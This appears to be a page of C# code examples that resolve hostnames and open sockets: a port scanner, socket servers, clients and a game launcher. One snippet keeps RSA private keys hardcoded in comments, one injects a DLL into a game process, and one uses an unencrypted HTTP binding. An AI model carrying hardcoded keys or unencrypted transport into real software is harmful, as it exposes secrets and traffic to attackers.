コード例 #1
0
        public void Start()
        {
            IPHostEntry hostEntry = Dns.GetHostEntry(Host);
            IPAddress   ipAddress = hostEntry.AddressList[1];

            neighborClient = new UdpClient(UpdatePort);
            IPEndPoint sender         = new IPEndPoint(IPAddress.Any, UpdatePort);
            EndPoint   neighborRouter = (EndPoint)sender;

            // Data buffer for incoming data.
            byte[] bytes = new byte[1024];

            // read file
            ReadConfig();
            WriteToFile("Starting: " + Directory);
            SendUMessage();

            // Bind the socket to the local endpoint and
            // listen for incoming connections.
            try
            {
                System.Diagnostics.Stopwatch watch = new System.Diagnostics.Stopwatch();
                watch.Start();

                while (true)
                {
                    ArrayList listenList = new ArrayList();
                    ArrayList acceptList = new ArrayList();

                    // bind sockets to ports.
                    Update = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    Update.Bind(new IPEndPoint(ipAddress, UpdatePort));

                    Command = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
                    Command.Bind(new IPEndPoint(ipAddress, CommandPort));

                    listenList.Add(Update);
                    listenList.Add(Command);
                    Socket.Select(listenList, null, null, 10 - watch.Elapsed.Seconds);

                    int read = 0;
                    for (int i = 0; i < listenList.Count; i++)
                    {
                        read = ((Socket)listenList[i]).ReceiveFrom(bytes, ref neighborRouter);
                        if (read > 0)
                        {
                            string msg = Encoding.ASCII.GetString(bytes, 0, read);
                            ProcessMessage(msg, neighborRouter);
                        }
                    }

                    if (watch.Elapsed.Seconds >= 10)
                    {
                        Write((watch.ElapsedMilliseconds / 1000.00));
                        SendUMessage();
                        watch.Restart();
                    }

                    ShutdownSockets();
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
                Console.Read();
            }
        }
コード例 #2
0
        private async void StartScan()
        {
            DisplayStatusMessage = false;
            StatusMessage        = string.Empty;

            IsScanRunning = true;
            PreparingScan = true;

            // Measure the time
            StartTime = DateTime.Now;
            stopwatch.Start();
            dispatcherTimer.Tick    += DispatcherTimer_Tick;
            dispatcherTimer.Interval = new TimeSpan(0, 0, 0, 0, 100);
            dispatcherTimer.Start();
            EndTime = null;

            PortScanResult.Clear();
            PortsOpen = 0;

            cancellationTokenSource = new CancellationTokenSource();

            string[] hosts = HostnameOrIPAddress.Split(';');

            List <Tuple <IPAddress, string> > hostData = new List <Tuple <IPAddress, string> >();

            for (int i = 0; i < hosts.Length; i++)
            {
                string host     = hosts[i].Trim();
                string hostname = string.Empty;
                IPAddress.TryParse(host, out IPAddress ipAddress);

                try
                {
                    // Resolve DNS
                    // Try to resolve the hostname
                    if (ipAddress == null)
                    {
                        IPHostEntry ipHostEntry = await Dns.GetHostEntryAsync(host);

                        foreach (IPAddress ip in ipHostEntry.AddressList)
                        {
                            if (ip.AddressFamily == AddressFamily.InterNetwork && SettingsManager.Current.PortScanner_ResolveHostnamePreferIPv4)
                            {
                                ipAddress = ip;
                                continue;
                            }
                            else if (ip.AddressFamily == AddressFamily.InterNetworkV6 && !SettingsManager.Current.PortScanner_ResolveHostnamePreferIPv4)
                            {
                                ipAddress = ip;
                                continue;
                            }
                        }

                        // Fallback --> If we could not resolve our prefered ip protocol
                        if (ipAddress == null)
                        {
                            foreach (IPAddress ip in ipHostEntry.AddressList)
                            {
                                ipAddress = ip;
                                continue;
                            }
                        }

                        hostname = host;
                    }
                    else
                    {
                        try
                        {
                            IPHostEntry ipHostEntry = await Dns.GetHostEntryAsync(ipAddress);

                            hostname = ipHostEntry.HostName;
                        }
                        catch { }
                    }
                }
                catch (SocketException) // This will catch DNS resolve errors
                {
                    if (!string.IsNullOrEmpty(StatusMessage))
                    {
                        StatusMessage += Environment.NewLine;
                    }

                    StatusMessage       += string.Format(Application.Current.Resources["String_CouldNotResolveHostnameFor"] as string, host);
                    DisplayStatusMessage = true;

                    continue;
                }

                hostData.Add(Tuple.Create(ipAddress, hostname));
            }

            if (hostData.Count == 0)
            {
                StatusMessage       += Environment.NewLine + Application.Current.Resources["String_NothingToDoCheckYourInput"] as string;
                DisplayStatusMessage = true;

                ScanFinished();

                return;
            }

            int[] ports = await PortRangeHelper.ConvertPortRangeToIntArrayAsync(Ports);

            try
            {
                PortsToScan  = ports.Length * hostData.Count;
                PortsScanned = 0;

                PreparingScan = false;

                HostnameOrIPAddressHistory = new List <string>(HistoryListHelper.Modify(HostnameOrIPAddressHistory, HostnameOrIPAddress, SettingsManager.Current.Application_HistoryListEntries));
                PortsHistory = new List <string>(HistoryListHelper.Modify(PortsHistory, Ports, SettingsManager.Current.Application_HistoryListEntries));

                PortScannerOptions portScannerOptions = new PortScannerOptions
                {
                    Threads    = SettingsManager.Current.PortScanner_Threads,
                    ShowClosed = SettingsManager.Current.PortScanner_ShowClosed,
                    Timeout    = SettingsManager.Current.PortScanner_Timeout
                };

                PortScanner portScanner = new PortScanner();
                portScanner.PortScanned     += PortScanner_PortScanned;
                portScanner.ScanComplete    += PortScanner_ScanComplete;
                portScanner.ProgressChanged += PortScanner_ProgressChanged;
                portScanner.UserHasCanceled += PortScanner_UserHasCanceled;

                portScanner.ScanAsync(hostData, ports, portScannerOptions, cancellationTokenSource.Token);
            }

            catch (Exception ex) // This will catch any exception
            {
                StatusMessage        = ex.Message;
                DisplayStatusMessage = true;

                ScanFinished();
            }
        }
コード例 #3
0
        private void BtnLogin_Click(object _sender, EventArgs _e)
        {
            if (this.Client == null || this.Client.Status.In(ServerStatus.Close))
            {
                string Host = this.textHost.Text;

                IPAddress[] IPAddressList = Dns.GetHostAddresses(Host);
                IPAddress   IPAddress     = IPAddressList.First(x => x.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork);

                if (this.Client == null)
                {
                    this.Client = new Client();

                    this.Client.Log += (sender, e) => {
                        this.Invoke(new MethodInvoker(() => {
                            StringBuilder write = new StringBuilder();
                            if (string.IsNullOrWhiteSpace(e.Name))
                            {
                                write.AppendLine(e.Text.Split(Utility.CharNewLine)
                                                 .Select(x => string.Format($"[{{0}} {{1}}]: {{2}}", Utility.GetTimeString(DateTime.Now), e.LevelText, x))
                                                 .Join(Environment.NewLine));
                            }
                            else
                            {
                                write.AppendLine(e.Text.Split(Utility.CharNewLine)
                                                 .Select(x => string.Format($"[{{0}} {{1}}][{{2}}]: {{3}}", Utility.GetTimeString(DateTime.Now), e.LevelText, e.Name, x))
                                                 .Join(Environment.NewLine));
                            }

                            this.textLog.Text += write.ToString();
                            this.textLog.Select(this.textLog.Text.Length, 0);
                            this.textLog.ScrollToCaret();
                        }));
                    };

                    this.Client.ClientLogin += (sender, e) => {
                    };

                    this.Client.AddFunction(new Function()
                    {
                        Name = "ping",
                        Func = (x, caller) => {
                            caller.CallFunction("ping", x);
                            return(0);
                        }
                    });

                    this.Client.StatusChanged += (sender, e) => {
                        this.Invoke(new MethodInvoker(() => {
                            switch (e.Status)
                            {
                            case ServerStatus.Connecting:
                                this.textHost.ReadOnly     = true;
                                this.textPort.ReadOnly     = true;
                                this.textUserName.ReadOnly = true;
                                this.textPassword.ReadOnly = true;
                                this.BtnLogin.Enabled      = false;
                                this.TextCommand.Focus();
                                break;

                            case ServerStatus.Connected:

                                string username = this.textUserName.Text;
                                string password = this.textPassword.Text;
                                Arguments args  = new Arguments();
                                args.Put("username", username);
                                args.Put("password", password);
                                this.Client.Login(args);
                                break;

                            case ServerStatus.Close:

                                this.textHost.ReadOnly     = false;
                                this.textPort.ReadOnly     = false;
                                this.textUserName.ReadOnly = false;
                                this.textPassword.ReadOnly = false;
                                this.BtnLogin.Enabled      = true;
                                this.BtnLogin.Focus();
                                break;
                            }
                        }));
                    };
                }

                if (IPAddress != null)
                {
                    string IP   = IPAddress.ToString();
                    int    Port = int.Parse(this.textPort.Text);

                    this.Client.Start(IP, Port);
                }
            }
        }
コード例 #4
0
ファイル: SNITcpHandle.cs プロジェクト: zpk513/corefx
        /// <summary>
        /// Constructor
        /// </summary>
        /// <param name="serverName">Server name</param>
        /// <param name="port">TCP port number</param>
        /// <param name="timerExpire">Connection timer expiration</param>
        /// <param name="callbackObject">Callback object</param>
        public SNITCPHandle(string serverName, int port, long timerExpire, object callbackObject, bool parallel)
        {
            _writeScheduler   = new ConcurrentExclusiveSchedulerPair().ExclusiveScheduler;
            _writeTaskFactory = new TaskFactory(_writeScheduler);
            _callbackObject   = callbackObject;
            _targetServer     = serverName;

            try
            {
                TimeSpan ts = default(TimeSpan);

                // In case the Timeout is Infinite, we will receive the max value of Int64 as the tick count
                // The infinite Timeout is a function of ConnectionString Timeout=0
                bool isInfiniteTimeOut = long.MaxValue == timerExpire;
                if (!isInfiniteTimeOut)
                {
                    ts = DateTime.FromFileTime(timerExpire) - DateTime.Now;
                    ts = ts.Ticks < 0 ? TimeSpan.FromTicks(0) : ts;
                }

                Task <Socket> connectTask;
                if (parallel)
                {
                    Task <IPAddress[]> serverAddrTask = Dns.GetHostAddressesAsync(serverName);
                    serverAddrTask.Wait(ts);
                    IPAddress[] serverAddresses = serverAddrTask.Result;

                    if (serverAddresses.Length > MaxParallelIpAddresses)
                    {
                        // Fail if above 64 to match legacy behavior
                        ReportTcpSNIError(0, SNICommon.MultiSubnetFailoverWithMoreThan64IPs, string.Empty);
                        return;
                    }

                    connectTask = ParallelConnectAsync(serverAddresses, port);
                }
                else
                {
                    connectTask = ConnectAsync(serverName, port);
                }

                if (!(isInfiniteTimeOut ? connectTask.Wait(-1) : connectTask.Wait(ts)))
                {
                    ReportTcpSNIError(0, SNICommon.ConnOpenFailedError, string.Empty);
                    return;
                }

                _socket = connectTask.Result;
                if (_socket == null || !_socket.Connected)
                {
                    if (_socket != null)
                    {
                        _socket.Dispose();
                        _socket = null;
                    }
                    ReportTcpSNIError(0, SNICommon.ConnOpenFailedError, string.Empty);
                    return;
                }

                _socket.NoDelay = true;
                _tcpStream      = new NetworkStream(_socket, true);

                _sslOverTdsStream = new SslOverTdsStream(_tcpStream);
                _sslStream        = new SslStream(_sslOverTdsStream, true, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
            }
            catch (SocketException se)
            {
                ReportTcpSNIError(se);
                return;
            }
            catch (Exception e)
            {
                ReportTcpSNIError(e);
                return;
            }

            _stream = _tcpStream;
            _status = TdsEnums.SNI_SUCCESS;
        }
コード例 #5
0
ファイル: Form1.cs プロジェクト: mbnunes/UOECLauncher
        private void okay_Click(object sender, EventArgs e)
        {
            string serverip   = this.serverList.Text.Trim();
            int    serverport = Form1.ToInt32(this.port.Text.Trim(), 0);

            if (serverip == "")
            {
                int num1 = (int)MessageBox.Show("Enter the server IP adress!");
            }
            else if (serverport <= 0 || serverport > (int)ushort.MaxValue)
            {
                int num2 = (int)MessageBox.Show("Enter a valid port!");
            }
            else
            {
                IPAddress address = (IPAddress)null;
                try
                {
                    IPAddress[] hostAddresses = Dns.GetHostAddresses(serverip);
                    if ((uint)hostAddresses.Length > 0U)
                    {
                        address = hostAddresses[0];
                    }
                    else
                    {
                        int num3 = (int)MessageBox.Show("IP address not found!");
                        return;
                    }
                }
                catch (SocketException ex)
                {
                    int num3 = (int)MessageBox.Show(ex.Message);
                }
                catch (Exception ex)
                {
                    int num3 = (int)MessageBox.Show(ex.Message);
                }
                if (!File.Exists(Path.Combine(this.txtUokrPath.Text, "UOSA.exe")))
                {
                    int num4 = (int)MessageBox.Show("UOSA.exe does not exist.");
                }
                else
                {
                    try
                    {
                        RemoteHooking.IpcCreateServer <SocketCommunication>(ref Form1.s_ChannelName, WellKnownObjectMode.SingleCall);
                        string  str     = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "connection.dll");
                        Process process = new Process();
                        process.StartInfo = new ProcessStartInfo()
                        {
                            FileName         = Path.Combine(this.txtUokrPath.Text, "UOSA.exe"),
                            WorkingDirectory = this.txtUokrPath.Text
                        };
                        if (!process.Start())
                        {
                            int num3 = (int)MessageBox.Show("Cannot start the client !", Application.ProductName + " Error", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                        }
                        else
                        {
                            uint   num5 = this.ConvertIpAdress(address);
                            ushort num6 = this.ConvertPort(serverport);
                            process.WaitForInputIdle();
                            RemoteHooking.Inject(process.Id, str, str, (object)Form1.s_ChannelName, (object)num5, (object)num6);
                            Form1.PathOrLaunch(process.Id);
                            if (this.m_Server.Find((Predicate <Form1.Server>)(s =>
                            {
                                if (s.IP == serverip)
                                {
                                    return(s.Port == serverport);
                                }
                                return(false);
                            })) == null)
                            {
                                this.m_Server.Add(new Form1.Server()
                                {
                                    IP   = serverip,
                                    Port = serverport
                                });
                            }
                            XElement xelement = new XElement((XName)"servers");
                            foreach (Form1.Server server in this.m_Server.Distinct <Form1.Server>())
                            {
                                xelement.Add((object)new XElement((XName)"shard", new object[3]
                                {
                                    (object)new XAttribute((XName)"login", (object)server.IP),
                                    (object)new XAttribute((XName)"port", (object)server.Port),
                                    (object)new XAttribute((XName)"lastselect", !(server.IP == this.serverList.Text) || !(server.Port.ToString() == this.port.Text) ? (object)"false" : (object)"true")
                                }));
                            }
                            xelement.Save(this.config_file);
                            this.Dispose();
                            process.WaitForExit();
                        }
                    }
                    catch (Exception ex)
                    {
                    }
                }
            }
        }
コード例 #6
0
        private void ScanHandlers(string serviceName)
        {
            var assemblies = AppDomain.CurrentDomain.GetAssemblies().ToList();

            foreach (var assemblyName in Assembly.GetExecutingAssembly().GetReferencedAssemblies())
            {
                var referencedAssembly = Assembly.Load(assemblyName);
                assemblies.Add(referencedAssembly);
            }

            var types = assemblies.SelectMany(x => x.GetTypes());


            foreach (var type in types)
            {
                var handlerInterfaceType = type.GetInterfaces().Where(i => i.Name == typeof(IHandleMessages <>).Name).FirstOrDefault();
                if (handlerInterfaceType != null)
                {
                    var messageType = handlerInterfaceType.GetGenericArguments()[0];
                    //TODO: para hacer este bind comprobar que sea un evento, los commands van directos al exchange del routing
                    //crear binding desde el exchange del mensaje hacia el exchange del endpoint
                    if (typeof(IEvent).IsAssignableFrom(messageType))
                    {
                        channel.ExchangeBind(serviceName, messageType.Name, messageType.Name);
                    }

                    handlersDictionary.Add(messageType.Name, type);

                    //configurar handler
                    channel.BasicQos(prefetchSize: 0, prefetchCount: 1, global: false);
                    var consumer = new EventingBasicConsumer(channel);
                    consumer.Received += (model, eventArgs) =>
                    {
                        if (ResolveHandlerAndExecute(eventArgs, serviceName))
                        {
                            channel.BasicAck(deliveryTag: eventArgs.DeliveryTag, multiple: false);
                        }
                    };
                    channel.BasicConsume(queue: serviceName,
                                         autoAck: false,
                                         consumerTag: $"{ Environment.MachineName }({ Dns.GetHostAddresses(Environment.MachineName)[0] }).{messageType.Name}",
                                         consumer: consumer);
                }
            }
        }
コード例 #7
0
ファイル: MainUiModel.cs プロジェクト: EnarcLabs/Phoneme
        public MainUiModel()
        {
            //var privKey = Convert.FromBase64String(@"MIICXAIBAAKBgQCC11ODfQ4yt3But3ZtBxfxoPU1kRzj+fdsrcBiBDlOLYHuzs+nr1awp8M99Xz2V3uDs4LaUdltSAlyUyYUCJayV5gjwzUKQM+2qBecbsxBwhlFau8s7j0vo88YPz26irNNmAAsBHICFB9EJRV6GuxuqToD7kfNOZ7F9MgnHaP2HwIDAQABAoGAXeGC2uXwOhPFaKvbHX/pfkavqy/kOvAwyJojYDEHrUCZ6nAaL4dv/HFjdiGe+GLtDSLQ0TXJfNAjdxSSTe2bsnCfXaTapUfp4ugtQ2FAJ9wsQXkUMtPzxq58YaOyPRKFi80RQOU/oslRUmFLhWdjhCtqX6JTsV8a3tBC19/KA4ECQQDbHKyXGsqC6E93WiZ0wKXPLD6EtLGApoSCCguq7HKfhVW1sZD4iyKwttMhdB1JhqqZx1xQrilNbNGkJf5PydejAkEAmN5WqMp+RNVQRUu6A27yHX9gELRdEkRiTN6oPA9AZtqIBxTHhX8ssDY0ovSvYIx25ECCcKLab07MGWZy1Bz/VQJBAL2pHFvPfOvDWsXc6ty0xNGHYrZMEjlh6eEGAQN6l90s9PvJL8tz5BtCpY6Xi6JRRurFfkr39hhm0TBdErzN4jECQCbeCRybd6VaszEbQu1SjR6w3yUAJtXZK0EuL4otuossLv/V6bDol90puxJfsiOTMztvp3qp/W3llAE1SibiRI0CQEjy2xNq2N1YvIRVRK08xaV54bEQAIe5fn10FlK4Gss3a3Lu8TT8zwwaqOxVP80r39YzGDwjcP6817UjJQMfBNU=");
            //var pupKey = Convert.FromBase64String(@"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC11ODfQ4yt3But3ZtBxfxoPU1kRzj+fdsrcBiBDlOLYHuzs+nr1awp8M99Xz2V3uDs4LaUdltSAlyUyYUCJayV5gjwzUKQM+2qBecbsxBwhlFau8s7j0vo88YPz26irNNmAAsBHICFB9EJRV6GuxuqToD7kfNOZ7F9MgnHaP2HwIDAQAB");

            //var pupKey = Convert.FromBase64String(@"MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEAmnEzG/EPYp3abux/j1KNJzqXn8prklxU56jiQXjPO8dtNjOuGSg6THyuaVqNfQwQllxv7Tvy/0SnjTNyAckim5PiBbmDuu2DZ3WQ5oJXJT3QFE2awTVrrz7a/IbSI432P+R+rVjjc8nWHYTQdOR/C6wcZa3golgGEmhPU68SjtO8g3OmPcZ/DN+Yexdjhyh5eD6Bc3zg5SkxBymJ4NdwXM8w2Xq80gmrJEpm7LHTqUI+YNt9SOk8PXZZm38iBiLD0NPK8fWd4Xc6/yBJnkEKLbwJG89CBV9lmPkJBZn0nJ5jN8BxLyqAAKZFhRMpkUsHAVvxMvJBj6gNER34X1e6cQIBJQ==");
            //var privKey = Convert.FromBase64String(@"MIIEoQIBAAKCAQEAmnEzG/EPYp3abux/j1KNJzqXn8prklxU56jiQXjPO8dtNjOuGSg6THyuaVqNfQwQllxv7Tvy/0SnjTNyAckim5PiBbmDuu2DZ3WQ5oJXJT3QFE2awTVrrz7a/IbSI432P+R+rVjjc8nWHYTQdOR/C6wcZa3golgGEmhPU68SjtO8g3OmPcZ/DN+Yexdjhyh5eD6Bc3zg5SkxBymJ4NdwXM8w2Xq80gmrJEpm7LHTqUI+YNt9SOk8PXZZm38iBiLD0NPK8fWd4Xc6/yBJnkEKLbwJG89CBV9lmPkJBZn0nJ5jN8BxLyqAAKZFhRMpkUsHAVvxMvJBj6gNER34X1e6cQIBJQKCAQApvbrJSBH++jsJOP/hi+7MVQZiibw1ZRAHQmap6UzEDGK0tAWKQjlFGsdavoca4KqJgMRN9IbdNSZdg4aYsubCQ6Te895p31Pycs03YX9WLGHATFNW0CrxF+gokyQJm/1dYFmWomb8sxdGP5JJGylBbMlnlscXHrWIbzgIx4h5oJbAJYyxfhS7GeOyb61jPdHnVKqMQWkSt9u7/ozmHVg9sH8ZbrBDEW/3HovrKqqmgPuftZE7bYeIQSPinrQJ+b7I3AFk/0mhpDe1UD65KWQuBIshrj4Qa3A2tr+9HXr5U4RZh/h7vrpWuKpn+j4f1DxaAi0t0Hm33a4gXnwHkU31AoGBANXgN0Lgpm7YMTt1xGm1Q7+KnGLMw5E8zlMR++AKTix40Br7/SK2Orl579iFjKTWLb/jBOocBGVCdD7gbvWZwvheKXpeK8vQwqYGpVh9yYrW98L6NCgpHgtD7HTdDZShiKAAq5AjVJdkx9j1BA30u6mJdw/P78nkXLIvTs3pmkgXAoGBALjcSw3/ml0aAcW96PhJGZevT0E5YOR8spdXMwbpgxb/vtkyl0EjqAaYAyJN1B3RanUVUGA3aS5Pqq+OK18UQ7y+r36eGUGhCC1ABTxAKyZGGdzxyZqfgKGKm5uGbBj6LYy4ncmoYQP0mY+o8TXAZH4q3NPTGLVPyladPl+M8J63AoGAOc3lbAVdahDqth/UOD7UCkEjWPkSQu3W5gTcSmOmbOJhwhqXcSpVD4i9XR0s7ke5VnS1OFqZZ3m+jYjECwb2bKPT2+IZrLT2VmKpOoLchmOc6JamUAsc4HM4/P15SsPfvIqPO7aFkLN0SHmSZKMCSX8ZQos544nT3SGK64s+dFkCgYEAs91CG3U8PujfIUMn3NGAr0LJpz6/I4A/D8p21kr8FmCeA8KFVCKxUoYQ4xtK7JRnlINwzFGWxUaYPBuf0iGOA8BzZnBP7NQH9Kz+LMjQCZBQg/Ir8GPXGbdLSzauXX3LdCk/k8ZsOzMtoIizVuS0zcjW2+/8XWJkAT8MQUrcR2UCgYA4dNpVTW8wCOgl037wzQjbDbGF0iLLtfGZ83vTpn0mAlvDmLfxnZLkAebjEuSCQ86WUyHGjVoVtakvWHZ90bqNNubzEW1VaMvZoIvyIxOnPFvsf8DPjVz1xhIxuUkoSM5NdB+FqZdDjFbIQjGamMTA3N+uyV4lsbEqMEMoVkD1YA==");

            var pubKey = new PemFile();

            pubKey.ReadFile(Environment.GetCommandLineArgs()[1]);
            var privKey = new PemFile();

            privKey.ReadFile(Environment.GetCommandLineArgs()[2]);

            Messages = new ObservableCollection <PeerMessage>();
            Client   = new PhonemeClient(6969, pubKey.Key, privKey.Key, new DirectoryTrustVerifier(Path.GetFullPath("TrustedKeys")), Dns.GetHostName());
            Client.Start();
            Client.PeerJoin += ClientOnPeerJoin;
        }
コード例 #8
0
        /// <summary>
        /// The publish collected data.
        /// </summary>
        /// <param name="publishedMetricsList">
        /// The published metrics list.
        /// </param>
        /// <returns>
        /// The <see cref="bool"/>.
        /// </returns>
        public override bool PublishCollectedData(ref List <PublishedMetricValue> publishedMetricsList)
        {
            bool success;
            MetricValueWithStatus res = new MetricValueWithStatus(null, MetricCollectionStatus.FailedToCollect);

            LogTrace.WriteTraceFormatted("AgentsCenterPoller: Attempting publishing metrics for {0}", NodeServer.IPAddr);
            try
            {
                NiceComponent component = NodeServer.Components.Find(item => (item.Type == ComponentType.AgentsCenter));
                if (component == null)
                {
                    string erMsg = string.Format(SentinelConstants.ISP_MISSING_COMPONENT_TEMPLATE, ComponentType.AgentsCenter, NodeServer.HostName);
                    LogTrace.WriteErrorFormatted(erMsg);
                    this.AddAllMetricsToFailed(mMetricList, erMsg, FailedMetricReason.ISP_MissingComponent);

                    //Lets make poller yellow
                    throw new Exception(string.Format("AgentsCenter is not configured for {0}", NodeServer.IPAddr));
                }

                if (!component.IsActiveInCluster)
                {
                    LogTrace.WriteTrace("Not collecting metrics since not active in cluster.");
                    return(true);
                }

                string endpoint = "http://" + NodeServer.IPAddr + ":62124/AgentsCenter.Information.AgentsMonitoring.IAgentsMonitoringStatusService";

                Binding         wsBinding   = new BasicHttpBinding(BasicHttpSecurityMode.None);
                EndpointAddress endpointAdd = new EndpointAddress(endpoint);

                using (IAgentsCenterAccessor client = AgentsCenterHelper.GetAgentCenterAccessor(wsBinding, endpointAdd))
                {
                    client.Open();

                    //get sentinel identifier
                    string sentinelIdentifier = Dns.GetHostName();

                    agents.Clear();

                    //get a list that containes the info of each agent
                    List <AgentCurrentStatus> tempAgentslist = client.GetAgentsStatus(sentinelIdentifier);

                    while (tempAgentslist != null && tempAgentslist.Count != 0)
                    {
                        LogTrace.WriteTraceFormatted("GetNextAgentsStatus returned {0} more agents", tempAgentslist.Count);
                        agents.AddRange(tempAgentslist);
                        tempAgentslist = client.GetNextAgentsStatus(sentinelIdentifier);
                    }

                    LogTrace.WriteTraceFormatted("Total amount of agents is {0}", agents.Count);

                    //loop though each metric and publish it (or not)
                    foreach (NICEMetric metric in mMetricList)
                    {
                        double stateCount       = 0;        //number of agents in certain state
                        double totalAgentsCount = 0;        //number of agents of certain type

                        switch (metric.Name)
                        {
                        case ONLINE_SCREEN_AGENTS:
                            GetAgentsCount(ref totalAgentsCount, ref stateCount, AgentType.AGENT_TYPE_SCREEN_AGENT, AgentState.AGENT_STATE_IDLE);
                            break;

                        case ERRONEOUS_SCREEN_AGENTS:
                            GetAgentsCount(ref totalAgentsCount, ref stateCount, AgentType.AGENT_TYPE_SCREEN_AGENT, AgentState.AGENT_STATE_ERROR);
                            break;

                        case ONLINE_PO_CLIENTS:
                            GetAgentsCount(ref totalAgentsCount, ref stateCount, AgentType.AGENT_TYPE_PO, AgentState.AGENT_STATE_IDLE);
                            break;

                        case ERRONEOUS_PO_CLIENTS:
                            GetAgentsCount(ref totalAgentsCount, ref stateCount, AgentType.AGENT_TYPE_PO, AgentState.AGENT_STATE_ERROR);
                            break;

                        default:
                            LogTrace.WriteErrorFormatted("Unknown metric has been found in the metric list: \"{0}\"", metric.Name);
                            continue;
                        }

                        if (totalAgentsCount > 0)                                     //if there are any agents of specified type, publish the metric
                        {
                            double metricValue = stateCount / totalAgentsCount * 100; //100 = 100%
                            metricValue = Math.Round(metricValue, 2);
                            LogTrace.WriteTraceFormatted("Metric \"{0}\" is being published with value {1}%.", metric.Name, metricValue);
                            publishedMetricsList.Add(new PublishedMetricValue(metric, metricValue, NodeServer, component));
                        }
                        else
                        {
                            LogTrace.WriteTraceFormatted("Not publishing metrics since there are no agents for \"{0}\".", metric.Name);
                        }
                    }

                    client.Close();
                }

                success = true;
            }
            catch (Exception e)
            {
                LogTrace.WriteErrorFormatted("An exception occured: {0}", e);
                res     = NpsUtility.GetTheExceptionReason(e);
                success = false;
            }

            if (!success)
            {
                this.AddAllMetricsToFailed(mMetricList, res.ErrorMessage, res.ErrorReason);
            }

            return(success);
        }
コード例 #9
0
        /// <summary>
        /// 启动
        /// </summary>
        private void Run()
        {
            if (isDisposed == true)
            {
                throw new ObjectDisposedException("ZYServer is Disposed");
            }


            IPEndPoint myEnd = new IPEndPoint(IPAddress.Any, Port);

            if (Host.Equals("ipv6any", StringComparison.CurrentCultureIgnoreCase))
            {
                myEnd = new IPEndPoint(IPAddress.IPv6Any, Port);
            }
            else if (!Host.Equals("any", StringComparison.CurrentCultureIgnoreCase))
            {
                if (String.IsNullOrEmpty(Host))
                {
                    IPHostEntry p = Dns.GetHostEntry(Dns.GetHostName());

                    foreach (IPAddress s in p.AddressList)
                    {
                        if (!s.IsIPv6LinkLocal && s.AddressFamily != AddressFamily.InterNetworkV6)
                        {
                            myEnd = new IPEndPoint(s, Port);
                            break;
                        }
                    }
                }
                else
                {
                    try
                    {
                        myEnd = new IPEndPoint(IPAddress.Parse(Host), Port);
                    }
                    catch (FormatException)
                    {
                        IPHostEntry p = Dns.GetHostEntry(Dns.GetHostName());

                        foreach (IPAddress s in p.AddressList)
                        {
                            if (!s.IsIPv6LinkLocal)
                            {
                                myEnd = new IPEndPoint(s, Port);
                            }
                        }
                    }
                }
            }

            sock = new Socket(myEnd.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
            sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);

            sock.Bind(myEnd);
            sock.Listen(512);
            ReceiveTimeout = 1000;

            var memoryPool = new Thruster.FastMemoryPool <byte>();

            for (int i = 0; i < MaxConnectCout; i++)
            {
                PoolSend poolSend = new PoolSend(true);

                ZYSocketAsyncEventArgs socketasyn = new ZYSocketAsyncEventArgs(
                    new LinesReadStream(MaxBufferSize),
                    new BufferWriteStream(memoryPool, poolSend, poolSend),
                    poolSend,
                    poolSend,
                    memoryPool,
                    Encoding.UTF8
                    );


                socketasyn.DisconnectIt = Disconnect_It;
                poolSend.SetAccpet(socketasyn);
                socketasyn.Completed += new EventHandler <ZYSocketAsyncEventArgs>(Asyn_Completed);
                Accept(socketasyn);
            }
        }
コード例 #10
0
        /// <summary>
        /// 启动
        /// </summary>
        private void Run(IServiceProvider component)
        {
            if (isDisposed == true)
            {
                throw new ObjectDisposedException("ZYServer is Disposed");
            }

            var config = component.GetService <SocketServerOptions>();


            IPEndPoint myEnd = new IPEndPoint(IPAddress.Any, Port);

            if (Host.Equals("ipv6any", StringComparison.CurrentCultureIgnoreCase))
            {
                myEnd = new IPEndPoint(IPAddress.IPv6Any, Port);
            }
            else if (!Host.Equals("any", StringComparison.CurrentCultureIgnoreCase))
            {
                if (String.IsNullOrEmpty(Host))
                {
                    IPHostEntry p = Dns.GetHostEntry(Dns.GetHostName());

                    foreach (IPAddress s in p.AddressList)
                    {
                        if (!s.IsIPv6LinkLocal && s.AddressFamily != AddressFamily.InterNetworkV6)
                        {
                            myEnd = new IPEndPoint(s, Port);
                            break;
                        }
                    }
                }
                else
                {
                    try
                    {
                        myEnd = new IPEndPoint(IPAddress.Parse(Host), Port);
                    }
                    catch (FormatException)
                    {
                        IPHostEntry p = Dns.GetHostEntry(Dns.GetHostName());

                        foreach (IPAddress s in p.AddressList)
                        {
                            if (!s.IsIPv6LinkLocal)
                            {
                                myEnd = new IPEndPoint(s, Port);
                            }
                        }
                    }
                }
            }

            sock = new Socket(myEnd.AddressFamily, SocketType.Stream, ProtocolType.Tcp);

            sock.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);


            sock.Bind(myEnd);
            sock.Listen(config.BackLog);

            if (config.ReceiveTimeout > 0)
            {
                ReceiveTimeout = config.ReceiveTimeout;
            }
            if (config.SendTimeout > 0)
            {
                SendTimeout = config.SendTimeout;
            }



            var memoryPool = component.GetRequiredService <MemoryPool <byte> >();
            var encode     = component.GetRequiredService <Encoding>();
            var objFormat  = component.GetRequiredService <ISerialization>();

            for (int i = 0; i < MaxConnectCout; i++)
            {
                var poolSend      = component.GetRequiredService <ISend>();
                var poolAsyncSend = component.GetRequiredService <IAsyncSend>();

                ZYSocketAsyncEventArgs socketasyn = new ZYSocketAsyncEventArgs(
                    new LinesReadStream(MaxBufferSize),
                    new BufferWriteStream(memoryPool, poolSend, poolAsyncSend),
                    poolSend,
                    poolAsyncSend,
                    memoryPool,
                    encode,
                    objFormat,
                    config.IsLittleEndian
                    );

                socketasyn.DisconnectIt = Disconnect_It;
                poolSend.SetAccpet(socketasyn);
                poolAsyncSend.SetAccpet(socketasyn);

                socketasyn.Completed += new EventHandler <ZYSocketAsyncEventArgs>(Asyn_Completed);
                Accept(socketasyn);
